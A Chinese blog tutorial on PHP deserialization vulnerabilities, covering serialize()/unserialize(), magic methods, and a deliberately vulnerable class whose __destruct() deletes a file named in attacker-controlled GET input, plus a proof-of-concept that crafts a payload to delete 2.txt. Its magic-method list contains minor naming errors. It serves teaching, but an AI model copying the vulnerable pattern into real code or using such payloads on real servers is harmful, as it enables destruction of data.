详解php反序列化漏洞

php序列化与反序列化

  • 今天向大家介绍php反序列化漏洞,我会从开发者的角度讲述php序列化漏洞的相关基础知识,产生,以及漏洞利用。欢迎大家留言与我交流。
序列化与反序列化
  • 序列化是将变量转换为可保存或传输的字符串的过程
  • 反序列化就是在适当的时候把这个字符串转换成为原来的变量使用
php序列化与反序列化函数
  • serialize:可以将变量转换为字符串并且在转换中可以保存当前变量的值
  • unserialize:可以将serialize生成的字符串变换回变量
  • php进行序列化的目的:保存一个对象方便以后使用

原理解析

1.想要了解php序列化,就先要了解类,变量,方法,对象,因为php进行序列化的目的就是保存一个对象方便以后使用

<?php
//类
class Person{
	//变量
	public $name = '';
	public $age = 0;
	//方法
	public function Infomation(){
		echo "Person: ".$this->name." is ".$this->age." years old.<br />";
	}
}

//创建对象,实例化类
$per = new Person();
$per->name = 'hao';
$per->age = 22;

$per->Infomation();

这个就是类的运行结果
在这里插入图片描述

序列化函数
  • serialize() 函数
  • 序列化一个对象将会保存对象的所有变量,但不会保存对象的方法,只会保存类的名字
<?php
//类
class Person{
	//变量
	public $name = '';
	public $age = 0;
	//方法
	public function Infomation(){
		echo "Person: ".$this->name." is ".$this->age." years old.<br />";
	}
}

//创建对象,实例化类
$per = new Person();
$per->name = 'hao';
$per->age = 22;

echo serialize($per);//核心代码,php序列化函数

这个是序列化后的结果,我这里不会详细介绍序列化后的结果的规律,有兴趣的小伙伴,可以自己去深入研究
在这里插入图片描述

反序列化函数
  • 函数:unserialize()
  • unserialize()一个对象,这个对象的类必须是已经定义过的
<?php
//类
class Person{
	//变量
	public $name = '';
	public $age = 0;
	//方法
	public function Infomation(){
		echo "Person: ".$this->name." is ".$this->age." years old.<br />";
	}
}
//php反序列化函数
#将序列化的类,进行反序列化
$per = unserialize('O:6:"Person":2:{s:4:"name";s:3:"hao";s:3:"age";i:22;}');
#序列化后就可以相当与实例化了$per,接着就可以调用对应的方法
$per->Infomation();

在这里插入图片描述
通过反序列化函数,将我们序列化的结果,变为了原来的结果。

仅仅知道了序列化和反序列化的函数和用法,对于php反序列化漏洞来说是不够的,我们还要了解php中的魔法函数

php魔法函数
  • php类中包含一些魔法函数,这些函数可以在脚本的任何地方不用声明就可以使用
  • 魔法函数
_construct() //对象创建时被调用
_destruct()	//对象销毁时调用
_wakeup()	//使用unserialize是触发
_slepp()	//使用serialize是触发
_toString()	//把类当作字符串使用是触发
_get()	//用于从不访问的属性读取数据

大家看到这里就基本了解了php反序列化漏洞的基础知识。接下来我就,带大家实操一个php反序列化的漏洞。

PHP反序列化漏洞

php反序列化漏洞如何产生:
  • 如果一个php代码中使用了unserialize函数去调用某一类,该类中会自动执行一些已经定义的魔法函数,这些魔法函数中如果包含了一些危险的操作,或者这些魔法函数 会去调用类中的其他带有危险操作的函数,如果这些函数操作是我们可控的,那么就可以进行一些骚操作

实战

<?php
//删除文件
class delete {
	public $filename = 'error';
	//析构函数在类销毁时自动调用
	function __destruct() {
		echo $this->filename.'was deleted<br/>';	
		//删除文件的危险函数	
		unlink(dirname(__FILE__).'/'.$this->filename);
	}
}
class Person{
	public $name = '';
	public $age = 0;
	public function Information() {
		echo 'Person:'.$this->name.'is'.$this->age.'years old.<br />';
	}
}
$per = unserialize($_GET['per_serialized']);

审计代码,我们可以发现漏洞

  • __destruct():中调用了危险的函数unlink(),会删除文件
  • unserialize($_GET[‘per_serialized’]);反序列化函数中的参数,是用_GET传过来的,是我们可以控制的
构造poc
  • 结合上面的漏洞,我们可以自己生成一个delete类序列化值,通过unserialize()反序列化,这样就会调用delete类中的__destruct(),删除我们想要删除的文件
    在这里插入图片描述
    比如删除2.txt
<?php
class delete {
	public $filename = 'error';
}
//实例化一个类
$test = new delete();
//给类变量赋值为,想要删除的文件名
$test -> filename = '2.txt';
//输出序列化结果
echo serialize($test);

通过上面的代码,我们就得到了类变量filename为2.txt的序列化结果
在这里插入图片描述

  • 接着我们将这个值,通过get传给反序列化函数
    在这里插入图片描述
    由于unserialize()反序列化delete类,得到了类变量filename的值,在类销毁类时自动调用了__destruct()方法中的unlink函数,删掉了filename对应的文件。
这个就是最基本的序列化漏洞,希望对大家有帮助
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

高木正雄

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值